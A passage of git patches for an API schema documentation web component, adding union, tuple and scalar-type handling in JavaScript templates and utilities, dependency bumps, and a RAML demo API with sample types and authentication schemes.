    + // `; + // } + if (Array.isArray(customDomainProperties) && customDomainProperties.length) { + result[result.length] = html``; } if (result.length && result.length < 3) { return pillsAndTable(pills, result); @@ -371,7 +370,7 @@ export function unionDetailsTemplate(schema) { * @return {TemplateResult|string} The template for the details of the File schema */ export function fileDetailsTemplate(schema) { - const { examples=[], values=[], defaultValueStr, format, maxLength, maximum, minLength, minimum, multipleOf, pattern, readOnly, writeOnly, fileTypes, deprecated } = schema; + const { customDomainProperties=[], values=[], defaultValueStr, format, maxLength, maximum, minLength, minimum, multipleOf, pattern, readOnly, writeOnly, fileTypes, deprecated } = schema; const result = []; const pills = []; if (defaultValueStr) { @@ -382,11 +381,9 @@ export function fileDetailsTemplate(schema) { } if (readOnly) { pills.push(pillTemplate('Read only', 'This property is read only.')); - // result.push(tablePropertyTemplate('Read only', 'yes')); } if (writeOnly) { pills.push(pillTemplate('Write only', 'This property is write only.')); - // result.push(tablePropertyTemplate('Write only', 'yes')); } if (deprecated) { pills.push(pillTemplate('Deprecated', 'This property is marked as deprecated.', ['warning'])); @@ -422,15 +419,18 @@ export function fileDetailsTemplate(schema) {
    `; } - if (examples.length) { - result[result.length] = html` -
    -
    Examples:
    -
      - ${examples.map((item) => html`
    • ${item.value}
    • `)} -
    -
    - `; + // if (examples.length) { + // result[result.length] = html` + //
    + //
    Examples:
    + //
      + // ${examples.map((item) => html`
    • ${item.value}
    • `)} + //
    + //
    + // `; + // } + if (Array.isArray(customDomainProperties) && customDomainProperties.length) { + result[result.length] = html``; } if (result.length && result.length < 3) { return pillsAndTable(pills, result); From b1db250d35d86c4cd8a5665716a686909eee5d76 Mon Sep 17 00:00:00 2001 From: Pawel Psztyc Date: Tue, 28 Sep 2021 21:48:20 -0700 Subject: [PATCH 08/24] chore: adding support for xone union type Signed-off-by: Pawel Psztyc --- .vscode/settings.json | 11 ++-- src/elements/ApiSchemaDocumentElement.js | 64 ++++++++++++++++++++---- src/elements/SchemaCommonTemplates.js | 1 - src/lib/Utils.js | 46 ++++++++++++++++- 4 files changed, 103 insertions(+), 19 deletions(-) diff --git a/.vscode/settings.json b/.vscode/settings.json index c8fdff6..7af7f87 100644 --- a/.vscode/settings.json +++ b/.vscode/settings.json @@ -1,11 +1,12 @@ { "cSpell.words": [ - "Applian", - "Nexmo", - "Tryit", "apiserverchanged", + "Applian", "monostate", + "Nexmo", "notryit", - "serverscountchanged" + "serverscountchanged", + "Tryit", + "xone" ] -} \ No newline at end of file +} diff --git a/src/elements/ApiSchemaDocumentElement.js b/src/elements/ApiSchemaDocumentElement.js index 906abea..dfcaffc 100644 --- a/src/elements/ApiSchemaDocumentElement.js +++ b/src/elements/ApiSchemaDocumentElement.js @@ -12,7 +12,7 @@ import { chevronRight } from '@advanced-rest-client/arc-icons'; import commonStyles from './styles/Common.js'; import elementStyles from './styles/ApiSchema.js'; import schemaStyles from './styles/SchemaCommon.js'; -import { readPropertyTypeLabel } from '../lib/Utils.js'; +import { readPropertyTypeLabel, isScalarUnion, isScalarType, schemaToType } from '../lib/Utils.js'; import { detailsTemplate, paramNameTemplate, @@ -58,7 +58,7 @@ export const anyOfSelectedHandler = Symbol('anyOfSelectedHandler'); export const schemaContentTemplate = Symbol('schemaContentTemplate'); export const scalarShapeTemplate = Symbol('scalarSchemaTemplate'); export const nodeShapeTemplate = Symbol('nodeShapeTemplate'); -export const unionShapeTemplate = Symbol('unionSchemaTemplate'); +export const unionShapeTemplate = Symbol('unionShapeTemplate'); export const fileShapeTemplate = Symbol('fileShapeTemplate'); export const schemaShapeTemplate = Symbol('schemaShapeTemplate'); export const arrayShapeTemplate = Symbol('arrayShapeTemplate'); @@ -84,6 +84,7 @@ const complexTypes = [ ns.aml.vocabularies.shapes.UnionShape, ns.aml.vocabularies.shapes.ArrayShape, ns.aml.vocabularies.shapes.TupleShape, + ns.aml.vocabularies.shapes.AnyShape, ]; export default class ApiSchemaDocumentElement extends ApiDocumentationBase { @@ -227,6 +228,11 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase { this[examplesValue] = undefined; return; } + if (isScalarType(type.types)) { + // we don't want to render examples for a scalar types. + this[examplesValue] = undefined; + return; + } const anyShape = /** @type ApiAnyShape */ (type); const { examples=[] } = anyShape; let examplesCopy = [...examples]; @@ -510,12 +516,12 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase { if (types.includes(ns.aml.vocabularies.shapes.SchemaShape)) { return this[schemaShapeTemplate](/** @type ApiSchemaShape */ (schema)); } - if (types.includes(ns.aml.vocabularies.shapes.ArrayShape) || types.includes(ns.aml.vocabularies.shapes.MatrixShape)) { - return this[arrayShapeTemplate](/** @type ApiArrayShape */ (schema)); - } if (types.includes(ns.aml.vocabularies.shapes.TupleShape)) { return this[tupleShapeTemplate](/** @type ApiTupleShape */ (schema)); } + if (types.includes(ns.aml.vocabularies.shapes.ArrayShape) || types.includes(ns.aml.vocabularies.shapes.MatrixShape)) { + return this[arrayShapeTemplate](/** @type ApiArrayShape */ (schema)); + } return this[anyShapeTemplate](/** @type ApiAnyShape */ (schema)); } @@ -527,7 +533,14 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase { if (schema.readOnly && this.noReadOnly) { return ''; } - return scalarDetailsTemplate(schema, true); + const type = typeValueTemplate(readPropertyTypeLabel(schema)); + return html` +
    + ${type} + ${scalarDetailsTemplate(schema, true)} +
    + `; + // return scalarDetailsTemplate(schema, true); } /** @@ -587,7 +600,11 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase { */ [unionShapeTemplate](schema) { const unionTemplate = unionDetailsTemplate(schema); - const { anyOf, or, and } = schema; + const allScalar = isScalarUnion(schema); + if (allScalar) { + return unionTemplate; + } + const { anyOf, or, and, xone } = schema; if (Array.isArray(anyOf) && anyOf.length) { const schemaContent = this[anyOfUnionTemplate](schema.id, anyOf); return html` @@ -595,6 +612,13 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase { ${schemaContent} `; } + if (Array.isArray(xone) && xone.length) { + const schemaContent = this[anyOfUnionTemplate](schema.id, xone); + return html` + ${unionTemplate} + ${schemaContent} + `; + } if (Array.isArray(or) && or.length) { const schemaContent = this[anyOfUnionTemplate](schema.id, or); return html` @@ -655,7 +679,14 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase { selected = renderedItem.id; } const options = items.map((item, index) => { - const label = item.name || item.displayName || `Option #${index + 1}`; + let label = item.name || item.displayName; + if (!label && item.types.includes(ns.aml.vocabularies.shapes.ScalarShape)) { + const { dataType } = /** @type ApiScalarShape */ (item); + label = `${schemaToType(dataType)} (#${index + 1})`; + } + if (!label) { + label = `Option #${index + 1}`; + } return { label, id: item.id, @@ -735,8 +766,18 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase { if (!items) { return html`
    Items are not defined for this array.
    `; } + let labelTemplate; + if (schema === this[schemaValue]) { + const label = readPropertyTypeLabel(schema, true); + labelTemplate = html` +
    +
    ${label}
    +
    + `; + } return html`
    + ${labelTemplate||''} ${this[schemaContentTemplate](items)}
    `; @@ -766,11 +807,11 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase { * @returns {TemplateResult|string} The template for the Any shape. */ [anyShapeTemplate](schema) { - const { and, or, readOnly } = schema; + const { and=[], or=[], readOnly, xone=[] } = schema; if (readOnly && this.noReadOnly) { return ''; } - if (and.length || or.length) { + if (and.length || or.length || xone.length) { return this[unionShapeTemplate](/** @type ApiUnionShape */ (schema)); } return html`

    Any schema is accepted as the value here.

    `; @@ -796,12 +837,13 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase { const type = readPropertyTypeLabel(range); const label = schema.name || displayName || range.name; const [domainType] = range.types; - let isComplex = complexTypes.includes(domainType); if (isComplex) { if (range.types.includes(ns.aml.vocabularies.shapes.ArrayShape)) { const { items } = /** @type ApiArrayShape */ (range); isComplex = complexTypes.includes(items.types[0]); + } else if (range.types.includes(ns.aml.vocabularies.shapes.UnionShape)) { + isComplex = !isScalarUnion(/** @type ApiUnionShape */ (range)); } } const allExpanded = this[expandedValue]; diff --git a/src/elements/SchemaCommonTemplates.js b/src/elements/SchemaCommonTemplates.js index d90e909..7dc8fba 100644 --- a/src/elements/SchemaCommonTemplates.js +++ b/src/elements/SchemaCommonTemplates.js @@ -123,7 +123,6 @@ export function tablePropertyTemplate(label, value) { `; } - export function detailSectionTemplate(items) { return html`
    diff --git a/src/lib/Utils.js b/src/lib/Utils.js index cabae09..acc9d5b 100644 --- a/src/lib/Utils.js +++ b/src/lib/Utils.js @@ -9,6 +9,16 @@ import { ns } from '@api-components/amf-helper-mixin'; /** @typedef {import('@api-components/amf-helper-mixin').ApiNodeShape} ApiNodeShape */ /** @typedef {import('../types').OperationParameter} OperationParameter */ +/** + * @param {string[]} types Shape's types + */ +export function isScalarType(types=[]) { + const { shapes } = ns.aml.vocabularies; + return types.includes(shapes.ScalarShape) || + types.includes(shapes.NilShape) || + types.includes(shapes.FileShape); +} + /** * @param {string} value The value from the graph model to use to read the value from */ @@ -45,7 +55,10 @@ export function readPropertyTypeLabel(schema, isArray=false) { if (!array.items) { return undefined; } - const label = readPropertyTypeLabel(array.items, true); + let label = readPropertyTypeLabel(array.items, true); + if (label === 'items' && !isScalarType(array.items.types)) { + label = 'objects'; + } return `List of ${label}`; } if (types.includes(ns.w3.shacl.NodeShape)) { @@ -71,5 +84,34 @@ export function readPropertyTypeLabel(schema, isArray=false) { if (types.includes(ns.aml.vocabularies.shapes.FileShape)) { return 'File'; } - return 'Unknown'; + return schema.name || 'Unknown'; +} + +/** + * @param {ApiShapeUnion[]} shapes + * @returns {boolean} true when all of passed shapes are scalar. + */ +function isAllScalar(shapes=[]) { + return !shapes.some(i => !isScalarType(i.types)); +} + +/** + * @param {ApiUnionShape} shape + * @returns {boolean} true when the passed union type consists of scalar values only. Nil counts as scalar. + */ +export function isScalarUnion(shape) { + const { anyOf=[], or=[], and=[], xone=[] } = shape; + if (anyOf.length) { + return isAllScalar(anyOf); + } + if (or.length) { + return isAllScalar(or); + } + if (and.length) { + return isAllScalar(and); + } + if (xone.length) { + return isAllScalar(xone); + } + return true; } From c20a2003432f345d286e499801ac528f3e9c1e42 Mon Sep 17 00:00:00 2001 From: Pawel Psztyc Date: Tue, 28 Sep 2021 22:23:09 -0700 Subject: [PATCH 09/24] chore: adding support for TupleShape shape Signed-off-by: Pawel Psztyc --- package-lock.json | 12 ++++++------ package.json | 4 ++-- src/elements/ApiSchemaDocumentElement.js | 5 ++++- src/lib/Utils.js | 9 +++++++++ 4 files changed, 21 insertions(+), 9 deletions(-) diff --git a/package-lock.json b/package-lock.json index ea8202f..0299e16 100644 --- a/package-lock.json +++ b/package-lock.json @@ -642,9 +642,9 @@ } }, "@api-components/amf-helper-mixin": { - "version": "4.5.6", - "resolved": "https://registry.npmjs.org/@api-components/amf-helper-mixin/-/amf-helper-mixin-4.5.6.tgz", - "integrity": "sha512-gxdfjuQhNkcfmyWoyqE/rIgcBXYIQ982TjtH0zMxYV0vnEOj4swITnKLy1znuS4Z6obRIAoBD5OhJluGcNOW7A==", + "version": "4.5.7", + "resolved": "https://registry.npmjs.org/@api-components/amf-helper-mixin/-/amf-helper-mixin-4.5.7.tgz", + "integrity": "sha512-97qo7v9RZSSIAiSKPMtzw5RNu03HjIUPwcBJ06jv+OlBaq2GFolkI5lUfpMP52Qv6Tfb41p21sy1i/zGFiLt0g==", "requires": { "amf-json-ld-lib": "0.0.14" } @@ -709,9 +709,9 @@ } }, "@api-components/api-schema": { - "version": "0.1.2", - "resolved": "https://registry.npmjs.org/@api-components/api-schema/-/api-schema-0.1.2.tgz", - "integrity": "sha512-eLOsbTlYt+0pE8pPA2pRBc5AjNsOSATIvmM4uFlpFVXueInVBao4MeHH8/5mhFJM6cr4UG13Vlxy02xPI6cmmA==", + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/@api-components/api-schema/-/api-schema-0.1.3.tgz", + "integrity": "sha512-af1oj/M+YC7cNN3wpa0Aw0EhpwAUXlqx73NY/Rb44JPHW8EGlVqqL/PDPor4dx61fNeSzONwSj/SxGpfN7pkbg==", "requires": { "@api-components/amf-helper-mixin": "^4.5.4", "@pawel-up/data-mock": "^0.1.7" diff --git a/package.json b/package.json index a2fc759..db570fd 100644 --- a/package.json +++ b/package.json @@ -36,8 +36,8 @@ "@anypoint-web-components/anypoint-listbox": "^1.1.7", "@anypoint-web-components/anypoint-radio-button": "^0.1.9", "@anypoint-web-components/anypoint-tabs": "^0.1.19", - "@api-components/amf-helper-mixin": "^4.5.6", - "@api-components/api-schema": "^0.1.2", + "@api-components/amf-helper-mixin": "^4.5.7", + "@api-components/api-schema": "^0.1.3", "@api-components/api-server-selector": "^0.7.1", "@api-components/http-method-label": "^3.1.4", "@open-wc/dedupe-mixin": "^1.3.0", diff --git a/src/elements/ApiSchemaDocumentElement.js b/src/elements/ApiSchemaDocumentElement.js index dfcaffc..baa8214 100644 --- a/src/elements/ApiSchemaDocumentElement.js +++ b/src/elements/ApiSchemaDocumentElement.js @@ -839,7 +839,10 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase { const [domainType] = range.types; let isComplex = complexTypes.includes(domainType); if (isComplex) { - if (range.types.includes(ns.aml.vocabularies.shapes.ArrayShape)) { + if (range.types.includes(ns.aml.vocabularies.shapes.TupleShape)) { + const { items=[] } = /** @type ApiTupleShape */ (range); + isComplex = complexTypes.includes(items[0].types[0]); + } else if (range.types.includes(ns.aml.vocabularies.shapes.ArrayShape)) { const { items } = /** @type ApiArrayShape */ (range); isComplex = complexTypes.includes(items.types[0]); } else if (range.types.includes(ns.aml.vocabularies.shapes.UnionShape)) { diff --git a/src/lib/Utils.js b/src/lib/Utils.js index acc9d5b..786881a 100644 --- a/src/lib/Utils.js +++ b/src/lib/Utils.js @@ -3,6 +3,7 @@ import { ns } from '@api-components/amf-helper-mixin'; /** @typedef {import('@api-components/amf-helper-mixin').ApiShapeUnion} ApiShapeUnion */ /** @typedef {import('@api-components/amf-helper-mixin').ApiScalarShape} ApiScalarShape */ /** @typedef {import('@api-components/amf-helper-mixin').ApiArrayShape} ApiArrayShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiTupleShape} ApiTupleShape */ /** @typedef {import('@api-components/amf-helper-mixin').ApiUnionShape} ApiUnionShape */ /** @typedef {import('@api-components/amf-helper-mixin').ApiParameter} ApiParameter */ /** @typedef {import('@api-components/amf-helper-mixin').ApiPropertyShape} ApiPropertyShape */ @@ -50,6 +51,14 @@ export function readPropertyTypeLabel(schema, isArray=false) { const scalar = /** @type ApiScalarShape */ (schema); return schemaToType(scalar.dataType || ''); } + if (types.includes(ns.aml.vocabularies.shapes.TupleShape)) { + const array = /** @type ApiTupleShape */ (schema); + if (!array.items || !array.items.length) { + return undefined; + } + const label = readPropertyTypeLabel(array.items[0], true); + return `List of ${label}`; + } if (types.includes(ns.aml.vocabularies.shapes.ArrayShape)) { const array = /** @type ApiArrayShape */ (schema); if (!array.items) { From 91b9c2d00fda78aad844c9458b4da372e71c6de1 Mon Sep 17 00:00:00 2001 From: Pawel Psztyc Date: Wed, 29 Sep 2021 16:33:12 -0700 Subject: [PATCH 10/24] chore: adding schema tests Signed-off-by: Pawel Psztyc --- .vscode/settings.json | 2 + demo/api-schema-documentation.js | 2 + demo/apis/demo-api/demo-api.raml | 898 ++++++++++++++++- demo/apis/demo-api/examples/person.raml | 14 + demo/apis/demo-api/examples/product.xml | 2 +- demo/apis/demo-api/library/demo-types.raml | 44 + .../demo-api/resourceTypes/app-person.raml | 68 +- demo/apis/demo-api/resourceTypes/product.raml | 2 +- .../oauth-2-custom-settings.raml | 143 +++ .../oauth2-header-delivery.raml | 13 + .../securitySchemes/oauth2-no-delivery.raml | 8 + .../securitySchemes/oauth2-no-grants.raml | 12 + .../demo-api/securitySchemes/oauth2-pkce.raml | 13 + .../oauth2-query-delivery.raml | 13 + .../demo-api/securitySchemes/oauth_1_0.raml | 8 + .../oauth_1_0_no-settings.raml | 3 + .../oauth_1_0_no-signature.raml | 7 + .../securitySchemes/oauth_1_0_signature.raml | 8 + .../passthrough-querystring.raml | 16 + .../demo-api/securitySchemes/passthrough.raml | 24 + .../securitySchemes/x-custom copy.raml | 33 + .../demo-api/securitySchemes/x-other.raml | 29 + .../securitySchemes/x-query-string.raml | 16 + demo/apis/demo-api/types/DemoPerson.raml | 67 ++ src/elements/ApiDocumentationBase.js | 8 + src/elements/ApiSchemaDocumentElement.js | 77 +- src/elements/SchemaCommonTemplates.js | 125 ++- src/elements/styles/ApiSchema.js | 5 + src/elements/styles/SchemaCommon.js | 25 +- src/lib/Utils.js | 4 + .../elements/ApiSchemaDocumentElement.test.js | 928 ++++++++++++++++++ 31 files changed, 2557 insertions(+), 60 deletions(-) create mode 100644 demo/apis/demo-api/examples/person.raml create mode 100644 demo/apis/demo-api/library/demo-types.raml create mode 100644 demo/apis/demo-api/securitySchemes/oauth-2-custom-settings.raml create mode 100644 demo/apis/demo-api/securitySchemes/oauth2-header-delivery.raml create mode 100644 demo/apis/demo-api/securitySchemes/oauth2-no-delivery.raml create mode 100644 demo/apis/demo-api/securitySchemes/oauth2-no-grants.raml create mode 100644 demo/apis/demo-api/securitySchemes/oauth2-pkce.raml create mode 100644 demo/apis/demo-api/securitySchemes/oauth2-query-delivery.raml create mode 100644 demo/apis/demo-api/securitySchemes/oauth_1_0.raml create mode 100644 demo/apis/demo-api/securitySchemes/oauth_1_0_no-settings.raml create mode 100644 demo/apis/demo-api/securitySchemes/oauth_1_0_no-signature.raml create mode 100644 demo/apis/demo-api/securitySchemes/oauth_1_0_signature.raml create mode 100644 demo/apis/demo-api/securitySchemes/passthrough-querystring.raml create mode 100644 demo/apis/demo-api/securitySchemes/passthrough.raml create mode 100644 demo/apis/demo-api/securitySchemes/x-custom copy.raml create mode 100644 demo/apis/demo-api/securitySchemes/x-other.raml create mode 100644 demo/apis/demo-api/securitySchemes/x-query-string.raml create mode 100644 demo/apis/demo-api/types/DemoPerson.raml create mode 100644 test/elements/ApiSchemaDocumentElement.test.js diff --git a/.vscode/settings.json b/.vscode/settings.json index 7af7f87..36327f8 100644 --- a/.vscode/settings.json +++ b/.vscode/settings.json @@ -2,11 +2,13 @@ "cSpell.words": [ "apiserverchanged", "Applian", + "fasttext", "monostate", "Nexmo", "notryit", "serverscountchanged", "Tryit", + "Unionable", "xone" ] } diff --git a/demo/api-schema-documentation.js b/demo/api-schema-documentation.js index 021a125..e85f4e6 100644 --- a/demo/api-schema-documentation.js +++ b/demo/api-schema-documentation.js @@ -194,6 +194,8 @@ class ComponentPage extends AmfDemoBase { ['APIC-282', 'APIC-282'], ['new-oas3-types', 'New OAS 3 types API'], ['APIC-483', 'APIC 483'], + ['APIC-631', 'APIC-631: Arrays'], + ['aap-1698', 'aap-1698'], ].forEach(([file, label]) => { result[result.length] = html` ${label} diff --git a/demo/apis/demo-api/demo-api.raml b/demo/apis/demo-api/demo-api.raml index 3dab08d..c4953ea 100644 --- a/demo/apis/demo-api/demo-api.raml +++ b/demo/apis/demo-api/demo-api.raml @@ -24,6 +24,7 @@ baseUriParameters: pattern: (development|staging|qa|production) default: production annotationTypes: + MarkAnnotation: nil deprecated: string annotationTest: nil clearanceLevel: @@ -37,10 +38,12 @@ annotationTypes: uses: ExampleType: resourceTypes/example-types.raml myLib: library.raml + DemoTypes: library/demo-types.raml types: Image: !include resourceTypes/image.raml Resource: !include resourceTypes/resource.raml AppPerson: !include resourceTypes/app-person.raml + DemoPerson: !include types/DemoPerson.raml Product: !include resourceTypes/product.raml ErrorResource: description: A response that is errored @@ -56,6 +59,42 @@ types: type: string description: The error message associated with the error. required: true + EnurableType: + type: object + properties: + e1: + (MarkAnnotation): + (deprecated): | + This property is deprecated. + + Please, do not use it in new projects. + (clearanceLevel): + level: low + signature: 230-ghtwvfrs1itr + type: string + displayName: Enumerable 1 + description: | + Example enumerable type to test the documentation + element. + + It renders `Markdown` model. + enum: [v1, v2, v3, v4] + required: false + examples: + Ex1: v1 + EX2: v2 + pattern: "v[1-4]" + default: v1 + e2: + type: string + enum: [e1, e2, e3, e4] + required: true + example: e1 + ArrayType: + type: array + items: Image + description: | + Hello world Feature: description: A feature to test enum values in the URI parameters. type: string @@ -63,9 +102,125 @@ types: - A - B - C - + Unionable: + type: ErrorResource | Product + PropertyUnion: + type: object + properties: + etag: + type: string + data: Feature | ErrorResource | Product + PropertyArray: + type: object + properties: + etag: + type: string + nextPageToken: + type: string + data: + type: array + items: Product + complex: + type: array + items: string | number | Product + ComplexRecursive: + type: object + properties: + iteration1: + properties: + images: + type: array + items: Image + userImage: + type: Image + properties: + options: + type: string | Product + user: + type: AppPerson + ieration2: + type: Product + properties: + images: + type: Image[] + ProcessVariableList: + type: object + properties: + //: any + example: | + { + "processVar1": "value1", + "processVar2": "value2" + } + Notification: + properties: + scalarArray: + required: true + type: array + items: integer + description: Integer array item type + displayName: Scalar array (integer) + otherScalar: + required: false + type: string[] + AnyType: any + NilType: nil + ScalarType: string + BooleanType: boolean + DescribedScalar: + type: string + description: This is a scalar with description + minLength: 1 + maxLength: 12 + Arrable2: + type: string[] + UnionArray: + type: Arrable2 | string + FilePropertyType: + type: object + properties: + filetype: + minLength: 100 + maxLength: 300 + required: false + type: file + fileTypes: + - image/png + - image/jpeg + FileType: + minLength: 1024 + maxLength: 2048 + required: true + type: file + fileTypes: + - application/mulesoft+modeling + - application/data-model + withEmbeddedType: + type: object + properties: + imageProperty: Image + other: string + withExtendedType: + type: Image + properties: + other: string + RecursiveShape: + (deprecated): This type is deprecated causes it throws errors. + type: object + properties: + id: string + relatedTo: + type: RecursiveShape + description: This is recursive. + apiTokens: # each is optional, not exclusive with anything + properties: + userToken: number + applicationToken?: number resourceTypes: + ErrorredResource: + get: ResourceNotFound: + type: ErrorredResource get: responses: 404: @@ -78,6 +233,7 @@ resourceTypes: type: !include schemas/error-response.xsd example: !include examples/e404.xml UnauthorizedResponse: + type: ErrorredResource get: responses: 404: @@ -90,6 +246,7 @@ resourceTypes: type: !include schemas/error-response.xsd example: !include examples/e401.xml RequestErrorResponse: + type: ErrorredResource get: responses: 400: @@ -106,9 +263,158 @@ traits: Paginated: !include traits/pagination.raml Adminable: !include traits/adminable.raml securitySchemes: - oauth_2_0: !include securitySchemes/oauth_2_0.raml - x-custom: !include securitySchemes/x-custom.raml basic: !include securitySchemes/basic.raml + oauth_2_0: !include securitySchemes/oauth_2_0.raml + custom1: !include securitySchemes/x-custom.raml + custom2: !include securitySchemes/x-other.raml + custom3: !include securitySchemes/x-query-string.raml + pass_through: !include securitySchemes/passthrough.raml + basicWithDefaults: + type: Basic Authentication + describedBy: + headers: + Authorization: + type: string + default: test + oauth1: !include securitySchemes/oauth_1_0.raml + oauth1signature: !include securitySchemes/oauth_1_0_signature.raml + oauth1noSignature: !include securitySchemes/oauth_1_0_no-signature.raml + oauth1noSettings: !include securitySchemes/oauth_1_0_no-settings.raml + digest: + description: | + This API supports DigestSecurityScheme Authentication. + type: Digest Authentication + passthroughQueryString: !include securitySchemes/passthrough-querystring.raml + custom_scheme: + description: | + A custom security scheme for authenticating requests. + type: x-custom + displayName: RAML's custom scheme + describedBy: + headers: + SpecialToken: + description: | + Used to send a custom token. + type: string + queryString: + type: apiTokens + examples: + first: + value: + userToken: 1234 + applicationToken: 5678 + second: + value: + start: 1239874566 + page-size: 987321456 + responses: + 401: + description: | + Bad token. + 403: + oauth2: + type: OAuth 2.0 + displayName: Regular OAuth 2.0 definition + settings: + accessTokenUri: https://token.com + authorizationUri: https://auth.com + scopes: [profile, email] + describedBy: + queryParameters: + access_token: + type: string + description: Apply access token here. + headers: + Authorization: + type: string + oauth2grants: + type: OAuth 2.0 + displayName: Regular OAuth 2.0 definition + settings: + accessTokenUri: https://token.com + authorizationUri: https://auth.com + authorizationGrants: authorization_code + scopes: [profile, email] + describedBy: + queryParameters: + access_token: + type: string + description: Apply access token here. + headers: + Authorization: + type: string + oauth2Annotation: + type: OAuth 2.0 + displayName: OAuth 2.0 with annotation + settings: + (oauth-2-custom-settings): + # ignoreDefaultGrants: + authorizationGrants: [annotated_custom_grant, annotated_custom_grant2] + authorizationSettings: + queryParameters: + resource: + type: string + required: true + description: | + A resource ID that defines a domain of authorization. + displayName: Hello query parameeter + default: default + examples: + named: named example value + otherExample: test example value + pattern: "[a-zA-Z]+" + maxLength: 12 + minLength: 3 + numericParam: + type: number + minimum: 10 + maximum: 20 + multipleOf: 2 + format: float + required: false + example: 22 + dateParam: + type: date-only + required: false + repetableParam1: + type: string[] + required: false + repetableParam2: + type: array + items: integer + required: false + accessTokenSettings: + queryParameters: + queryTokenResource: string + detailedTokenResource: + type: number + description: some description + required: false + headers: + x-token-resource: + type: number + default: 123 + body: + bodyTokenResource: string + bodyDetailed: + type: boolean + required: true + displayName: Body detailed property + default: true + accessTokenUri: https://token.com + authorizationUri: https://auth.com + authorizationGrants: [authorization_code, password, client_credentials, implicit] + scopes: [profile, email] + describedBy: + queryParameters: + access_token: + type: string + description: Apply access token here. + oauth2queryDelivery: !include securitySchemes/oauth2-query-delivery.raml + oauth2headerDelivery: !include securitySchemes/oauth2-header-delivery.raml + oauth2noDelivery: !include securitySchemes/oauth2-no-delivery.raml + oauth2noGrants: !include securitySchemes/oauth2-no-grants.raml + oauth2pkce: !include securitySchemes/oauth2-pkce.raml libOauth: myLib.oauthLib documentation: @@ -214,7 +520,7 @@ documentation: type: !include schemas/person.xsd example: !include examples/person.xml /{personId}: - securedBy: x-custom + securedBy: custom1 type: ResourceNotFound displayName: A person description: The endpoint to access information about the person @@ -461,3 +767,587 @@ documentation: type: myLib.TypeFromLibray responses: 200: +/test: + post: + body: + type: Product + responses: + 200: + body: + type: AppPerson +/scalarArrays: + post: + body: + type: Notification +/notifications: + post: + body: + type: Notification +/authorization: + /basicauth: + get: + securedBy: [basic] + /basic-auth-with-defaults: + get: + securedBy: [basicWithDefaults] + /passthroogh: + securedBy: [pass_through] + get: + /oauth1: + get: + securedBy: [oauth1] + /oauth1-signature: + get: + securedBy: [oauth1signature] + /oauth1-nosignature: + get: + securedBy: [oauth1noSignature] + /oauth1-nosettings: + get: + securedBy: [oauth1noSettings] + /custom1: + get: + securedBy: [custom1] + /custom2: + get: + securedBy: [custom2] + /custom3: + get: + securedBy: [custom3] + /digest: + get: + securedBy: digest + /passthrough-query-string: + get: + securedBy: passthroughQueryString + /custom-query-string: + get: + securedBy: custom_scheme + /oauth2: + post: + securedBy: [oauth2] + /oauth2-with-annotations: + get: + securedBy: [oauth2Annotation] + /oauth2-with-grant-list: + get: + securedBy: [oauth2grants] + /oauth2-query-delivery: + get: + securedBy: [oauth2queryDelivery] + /oauth2-header-delivery: + get: + securedBy: [oauth2headerDelivery] + /oauth2-no-delivery: + get: + securedBy: [oauth2noDelivery] + /oauth2-no-grants: + get: + securedBy: [oauth2noGrants] + /oauth2-pkce: + get: + securedBy: [oauth2pkce] + /combo-types: + get: + securedBy: [basic, digest, passthroughQueryString, custom1, oauth2, oauth1] + /all-oauth2: + get: + securedBy: [oauth2, oauth2Annotation, oauth2grants, oauth2queryDelivery, oauth2headerDelivery, oauth2noDelivery, oauth2noGrants] + /nil-oauth2: + get: + securedBy: [null, oauth2] +/required-query-parameters: + get: + queryParameters: + requiredString: + type: string + required: true + +/optional-query-parameters: + get: + queryParameters: + requiredString: + type: string + required: false +/required-headers: + get: + headers: + requiredString: + type: string + required: true + +/optional-headers: + get: + headers: + requiredString: + type: string + required: false +/content-type: + post: + headers: + Content-Type: + default: application/json + body: + type: object + properties: + error: + type: boolean + default: false +/parameters: + get: + displayName: All parameter types + headers: + Accept: + default: application/json + description: Selectes the response's media type, when supported. + enum: + - application/json + - application/xml + - text/csv + required: false + x-required: + required: true + x-object-header: + type: object + properties: + key: string + value: + type: any + description: Any value + If-Modified-Since: + type: datetime + example: Sun, 28 Feb 2016 16:41:41 GMT + format: rfc2616 # this time it's required, otherwise, the example format is invalid + queryParameters: + unionable: + type: string | number + description: One of the two + example: 25 + default: no + complexUnionable: + type: Feature | Product + description: Super confusing for a query param + mixedUnionable: + type: Feature | string + description: At least one should work + combo: + type: string + default: Some value + description: A combo of all string properties + displayName: Combo (string) + enum: + - value 1 + - value 2 + - value 3 + - value 4 + - value 5 + - value 6 + - value 7 + - value 8 + - value 9 + - value 10 + examples: + Example 1: value 1 + Example 2: value 2 + maxLength: 100 + minLength: 1 + pattern: .* + required: true + comboNum: + type: number + default: 20 + description: A combo with a number type + displayName: Combo (number) + enum: + - 5 + - 10 + - 20 + - 40 + - 50 + - 75 + - 100 + examples: + Minimum: 5 + Maximum: 100 + minimum: 5 + maximum: 100 + multipleOf: 5 + format: int64 + birthday: + type: date-only + example: 2015-05-23 + lunchtime: + type: time-only + example: 12:30:00 + fireworks: + type: datetime-only + example: 2015-07-04T21:00:00 + created: + type: datetime + example: 2016-02-28T16:41:41.090Z + format: rfc3339 + userPicture: + type: file + fileTypes: ['image/jpeg', 'image/png'] + maxLength: 307200 + customFile: + type: file + fileTypes: ['*/*'] # any file type allowed + maxLength: 1048576 + aBoolean: + type: boolean + description: This is a boolean value without a default value. + displayName: Boolean + aBooleanWithDefault: + type: boolean + default: true + displayName: Boolean with default + description: This is a boolean value with default value. + nillable: + type: nil + description: This can be null + nillableUnion: + type: string | nil +/query-params: + /bool: + get: + queryParameters: + aBoolean: + type: boolean + description: This is a boolean value without a default value. + displayName: Boolean + aBooleanWithDefault: + type: boolean + default: true + displayName: Boolean with default + description: This is a boolean value with default value. + nillableBoolean: + type: boolean | nil + displayName: Boolean with nil + description: This is a boolean value with a nil union value. + stringBoolean: + type: boolean | string + displayName: Boolean with string + description: This is a 